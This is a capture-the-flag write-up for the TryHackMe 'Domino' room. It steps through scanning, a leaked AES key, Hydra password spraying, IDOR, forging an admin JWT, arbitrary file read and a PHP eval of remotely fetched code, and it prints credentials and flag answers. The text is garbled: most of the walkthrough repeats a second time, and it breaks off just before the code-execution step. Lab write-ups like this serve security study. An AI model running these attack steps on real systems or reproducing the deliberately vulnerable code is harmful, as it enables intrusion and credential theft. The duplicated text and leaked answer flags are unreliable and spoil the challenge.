Sitemap
Shivang Tiwari

Shivang Tiwari

Cybersecurity is my thing. Look more here - https://www.sh1v4ng.in/

TryHackMe | Domino

9 min readJun 22, 2026

--

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

Press enter or click to view image in full size

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

TryHackMe | Domino

Task 1 | Challenge

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.

Answer the questions below

Q. What is the flag found in the admin user's profile notes?

Ans.

Q. What is the flag displayed on the admin panel after gaining admin access?

Ans.

Q. What is the flag obtained after achieving remote code execution on the server? Flag is stored in /opt/flag3.txt

Ans.

Q. What is the flag found in the devops user's home directory?

Ans.

Q. What is the root flag?

Ans.

Walkthrough

Let's begin with a full port scan against the target.

root@ip-10-49-123-248:~# nmap -p- -sT 10.49.182.132

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Only SSH and HTTP are exposed, so the web application becomes our primary attack surface.

Initial Enumeration

Browsing to the application reveals the NexusCorp Employee Portal login page.

HTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)

<title>NexusCorp Portal</title>

<form method="POST" action="/index.php">
<input type="text" name="username">
<input type="password" name="password">
</form>

<a href="/forgot.php">Forgot password?</a>
<a href="/team.php">Our Team</a>

The application immediately exposes two interesting endpoints:

  • /team.php
  • /forgot.php

Team Directory

Visiting the Team page reveals a list of employee names.

These names will later become valid usernames for credential attacks.

Password Reset Functionality

Testing the forgot password feature with a known employee:

POST /forgot.php

username=laura.hayes

Response:

Password reset instructions have been sent to la****@nexus.corp

No immediate vulnerability is visible, but we now know:

laura.hayes

is a valid username.

Static File Discovery

While inspecting /static/, we discover a JavaScript file:

/static/app.js

Contents:

const CONFIG = {
apiBase: '/api',

// Encryption key for backup config decryption
// Key: N3xusK3y2024!!
_backupKey: 'N3xusK3y2024!!',

appVersion: '2.3.1'
};

This leaks two important pieces of information:

  1. Hidden API endpoint
/api
  1. AES decryption key
N3xusK3y2024!!

API Enumeration

Let's enumerate the newly discovered API.

ffuf -u <http://10.49.182.132/api/FUZZ> \
-w /usr/share/wordlists/dirb/common.txt

Results:

auth                    [Status: 301]
users [Status: 301]

Directory listing reveals:

/api/users/profile.php
/api/auth/token.php

However, both endpoints require authentication.

Further Content Discovery

Running another FFUF scan against the web root:

ffuf -u <http://10.49.182.132/FUZZ> \
-w directory-list-2.3-medium.txt \
-e .php,.html,.txt,.zip,.js,.bak,.enc

Interesting results:

backup
admin
config.php
auth.php
reset.php

Backup Disclosure

Visiting:

/backup

reveals:

README.txt
config.enc

The README provides an important clue:

NexusCorp Backup Configuration

config.enc - Encrypted application configuration
Decryption key reference: see static/app.js

Exactly what we needed.

Decrypting config.enc

Using the AES key leaked in app.js:

openssl enc -d -aes-128-ecb \
-K 4e337875734b337932303234212100 \
-in config.enc

Output:

{
"app_name":"NexusCorp Portal",
"version":"2.3.1",
"deploy_env":"production",
"system_user":"devops"
}

The interesting value is:

"system_user":"devops"

Remember this username. It becomes important later.

Credential Attack

At this point we have:

  • Multiple usernames from Team page
  • A login form

Let's try password spraying using Hydra.

hydra -L usernames.txt \
-P xato-net-10-million-passwords-10000.txt \
10.49.182.132 \
http-post-form \
'/index.php:username=^USER^&password=^PASS^:Invalid credentials.'

Results:

sarah.johnson   password: password
robert.wilson password: password
emma.taylor password: password

We successfully obtain valid credentials.

User Access

Login:

emma.taylor:password

Dashboard:

Welcome, emma.taylor

Role: user

Endpoint:
/api/files.php?name=

The dashboard also reveals:

/api/users/profile.php?id=5

This immediately looks like an IDOR candidate.

Flag 1 — IDOR

Request:

GET /api/users/profile.php?id=5

Response:

{
"id":5,
"username":"emma.taylor",
"role":"user"
}

Changing the ID:

GET /api/users/profile.php?id=1

Response:

{
"id":1,
"username":"laura.hayes",
"role":"admin",
"notes":"THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}"
}

🚩 Flag 1

THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}

JWT Abuse

The dashboard references:

/api/auth/token.php

Fetching a token:

{
"token":"<JWT>",
"expires_in":3600
}

Trying to access:

GET /api/files.php
Authorization: Bearer <JWT>

Results in:

{
"error":"Admin JWT required"
}

JWT Tampering

Decoding the token:

{
"sub":"emma.taylor",
"role":"user"
}

Modify:

{
"sub":"emma.taylor",
"role":"admin"
}

using jwt_tool.

sh1v4ng@Shivangs-MacBook-Air jwt_tool % python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzgyMDc4MDE1LCJleHAiOjE3ODIwODE2MTV9.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ -d ../../ctf/SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords.txt --tamper

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi

/Users/sh1v4ng/.jwt_tool/jwtconf.ini
Original JWT:

====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] sub = "emma.taylor"
[2] role = "user"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = "emma.taylor"
[2] role = "admin"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_2ec3e730730415a97dbe5d573a47cf96 - Tampered token:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MjA3ODAxNSwiZXhwIjoxNzgyMDgxNjE1fQ.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ
sh1v4ng@Shivangs-MacBook-Air jwt_tool %

Modified payload:

{
"sub":"emma.taylor",
"role":"admin"
}

Why It Works

Reading source code through the file API later reveals:

function verify_jwt($token) {

// Signature check intentionally disabled

return $payload;
}

No signature validation.

Any JWT can be modified.

Local File Read

After JWT tampering:

GET /api/files.php
Authorization: Bearer <admin-token>

Response:

{
"error":"Missing name parameter",
"usage":"/api/files.php?name=/var/www/html/file.txt"
}

This becomes an arbitrary file read vulnerability.

Reading Configuration Files

Request:

GET /api/files.php?name=/var/www/html/config.php

Response:

define('DB_USER', 'app_user');
define('DB_PASS', 'D3v0ps!2024');

define('JWT_SECRET',
'nexus_jwt_s3cr3t_2024');

define('APP_SECRET',
'nexus_app_k3y_2024');

Interesting credentials recovered:

DB_PASS = D3v0ps!2024

Flag 2 — Admin Panel Access

Reading:

/var/www/html/admin/index.php

reveals:

$flag2 = 'THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}';

We can also directly browse:

/admin

using our forged admin JWT.

The page displays:

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

🚩 Flag 2

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

Discovering Remote Code Execution

Reading:

/var/www/html/api/files.php

reveals a dangerous block:

if (strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0) {

$remote = file_get_contents($name);

eval(
str_replace("<?php","",$remote)
);
}

TryHackMe | Domino

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

Press enter or click to view image in full size

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

Get Shivang Tiwari’s stories in your inbox

Join Medium for free to get updates from this writer.

TryHackMe | Domino

Task 1 | Challenge

Chain together vulnerabilities in a cascading attack, where every piece you find knocks over the next.

The NexusCorp Employee Portal appears to be a typical internal application with authentication controls and role-based access in place. However, multiple small weaknesses, ranging from misconfigurations to logic flaws, can be combined to fully compromise the system.

Answer the questions below

Q. What is the flag found in the admin user's profile notes?

Ans.

Q. What is the flag displayed on the admin panel after gaining admin access?

Ans.

Q. What is the flag obtained after achieving remote code execution on the server? Flag is stored in /opt/flag3.txt

Ans.

Q. What is the flag found in the devops user's home directory?

Ans.

Q. What is the root flag?

Ans.

Walkthrough

Let's begin with a full port scan against the target.

root@ip-10-49-123-248:~# nmap -p- -sT 10.49.182.132

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Only SSH and HTTP are exposed, so the web application becomes our primary attack surface.

Initial Enumeration

Browsing to the application reveals the NexusCorp Employee Portal login page.

HTTP/1.1 200 OK
Server: Apache/2.4.58 (Ubuntu)

<title>NexusCorp Portal</title>

<form method="POST" action="/index.php">
<input type="text" name="username">
<input type="password" name="password">
</form>

<a href="/forgot.php">Forgot password?</a>
<a href="/team.php">Our Team</a>

The application immediately exposes two interesting endpoints:

  • /team.php
  • /forgot.php

Team Directory

Visiting the Team page reveals a list of employee names.

These names will later become valid usernames for credential attacks.

Password Reset Functionality

Testing the forgot password feature with a known employee:

POST /forgot.php

username=laura.hayes

Response:

Password reset instructions have been sent to la****@nexus.corp

No immediate vulnerability is visible, but we now know:

laura.hayes

is a valid username.

Static File Discovery

While inspecting /static/, we discover a JavaScript file:

/static/app.js

Contents:

const CONFIG = {
apiBase: '/api',

// Encryption key for backup config decryption
// Key: N3xusK3y2024!!
_backupKey: 'N3xusK3y2024!!',

appVersion: '2.3.1'
};

This leaks two important pieces of information:

  1. Hidden API endpoint
/api
  1. AES decryption key
N3xusK3y2024!!

API Enumeration

Let's enumerate the newly discovered API.

ffuf -u <http://10.49.182.132/api/FUZZ> \
-w /usr/share/wordlists/dirb/common.txt

Results:

auth                    [Status: 301]
users [Status: 301]

Directory listing reveals:

/api/users/profile.php
/api/auth/token.php

However, both endpoints require authentication.

Further Content Discovery

Running another FFUF scan against the web root:

ffuf -u <http://10.49.182.132/FUZZ> \
-w directory-list-2.3-medium.txt \
-e .php,.html,.txt,.zip,.js,.bak,.enc

Interesting results:

backup
admin
config.php
auth.php
reset.php

Backup Disclosure

Visiting:

/backup

reveals:

README.txt
config.enc

The README provides an important clue:

NexusCorp Backup Configuration

config.enc - Encrypted application configuration
Decryption key reference: see static/app.js

Exactly what we needed.

Decrypting config.enc

Using the AES key leaked in app.js:

openssl enc -d -aes-128-ecb \
-K 4e337875734b337932303234212100 \
-in config.enc

Output:

{
"app_name":"NexusCorp Portal",
"version":"2.3.1",
"deploy_env":"production",
"system_user":"devops"
}

The interesting value is:

"system_user":"devops"

Remember this username. It becomes important later.

Credential Attack

At this point we have:

  • Multiple usernames from Team page
  • A login form

Let's try password spraying using Hydra.

hydra -L usernames.txt \
-P xato-net-10-million-passwords-10000.txt \
10.49.182.132 \
http-post-form \
'/index.php:username=^USER^&password=^PASS^:Invalid credentials.'

Results:

sarah.johnson   password: password
robert.wilson password: password
emma.taylor password: password

We successfully obtain valid credentials.

User Access

Login:

emma.taylor:password

Dashboard:

Welcome, emma.taylor

Role: user

Endpoint:
/api/files.php?name=

The dashboard also reveals:

/api/users/profile.php?id=5

This immediately looks like an IDOR candidate.

Flag 1 — IDOR

Request:

GET /api/users/profile.php?id=5

Response:

{
"id":5,
"username":"emma.taylor",
"role":"user"
}

Changing the ID:

GET /api/users/profile.php?id=1

Response:

{
"id":1,
"username":"laura.hayes",
"role":"admin",
"notes":"THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}"
}

🚩 Flag 1

THM{1d0r_h0r1z0nt4l_4cc3ss_fl4g1}

JWT Abuse

The dashboard references:

/api/auth/token.php

Fetching a token:

{
"token":"<JWT>",
"expires_in":3600
}

Trying to access:

GET /api/files.php
Authorization: Bearer <JWT>

Results in:

{
"error":"Admin JWT required"
}

JWT Tampering

Decoding the token:

{
"sub":"emma.taylor",
"role":"user"
}

Modify:

{
"sub":"emma.taylor",
"role":"admin"
}

using jwt_tool.

sh1v4ng@Shivangs-MacBook-Air jwt_tool % python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzgyMDc4MDE1LCJleHAiOjE3ODIwODE2MTV9.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ -d ../../ctf/SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords.txt --tamper

\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.3.0 \______| @ticarpi

/Users/sh1v4ng/.jwt_tool/jwtconf.ini
Original JWT:

====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] sub = "emma.taylor"
[2] role = "user"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 2

Current value of role is: user
Please enter new value and hit ENTER
> admin
[1] sub = "emma.taylor"
[2] role = "admin"
[3] iat = 1782078015 ==> TIMESTAMP = 2026-06-22 03:10:15 (UTC)
[4] exp = 1782081615 ==> TIMESTAMP = 2026-06-22 04:10:15 (UTC)
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[7] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_2ec3e730730415a97dbe5d573a47cf96 - Tampered token:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJlbW1hLnRheWxvciIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc4MjA3ODAxNSwiZXhwIjoxNzgyMDgxNjE1fQ.i7zuRP9TbHHfZWn0J7WN55mk6joZbk9boZ9Rem2P1HQ
sh1v4ng@Shivangs-MacBook-Air jwt_tool %

Modified payload:

{
"sub":"emma.taylor",
"role":"admin"
}

Why It Works

Reading source code through the file API later reveals:

function verify_jwt($token) {

// Signature check intentionally disabled

return $payload;
}

No signature validation.

Any JWT can be modified.

Local File Read

After JWT tampering:

GET /api/files.php
Authorization: Bearer <admin-token>

Response:

{
"error":"Missing name parameter",
"usage":"/api/files.php?name=/var/www/html/file.txt"
}

This becomes an arbitrary file read vulnerability.

Reading Configuration Files

Request:

GET /api/files.php?name=/var/www/html/config.php

Response:

define('DB_USER', 'app_user');
define('DB_PASS', 'D3v0ps!2024');

define('JWT_SECRET',
'nexus_jwt_s3cr3t_2024');

define('APP_SECRET',
'nexus_app_k3y_2024');

Interesting credentials recovered:

Interesting credentials recovered:

DB_PASS = D3v0ps!2024

Flag 2 — Admin Panel Access

Reading:

/var/www/html/admin/index.php

reveals:

$flag2 = 'THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}';

We can also directly browse:

/admin

using our forged admin JWT.

The page displays:

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

🚩 Flag 2

THM{bl1nd_x55_s3ss10n_h1j4ck_fl4g2}

Discovering Remote Code Execution

Reading:

/var/www/html/api/files.php

reveals a dangerous block:

if (strpos($name, "http://") === 0 ||
strpos($name, "https://") === 0) {

$remote = file_get_contents($name);

eval(
str_replace("<?php","",$remote)
);
}

This is a full RCE vulnerability.

The application:

  1. Downloads attacker-controlled PHP
  2. Removes <?php
  3. Executes the content with eval()

Confirming Code Execution

--

--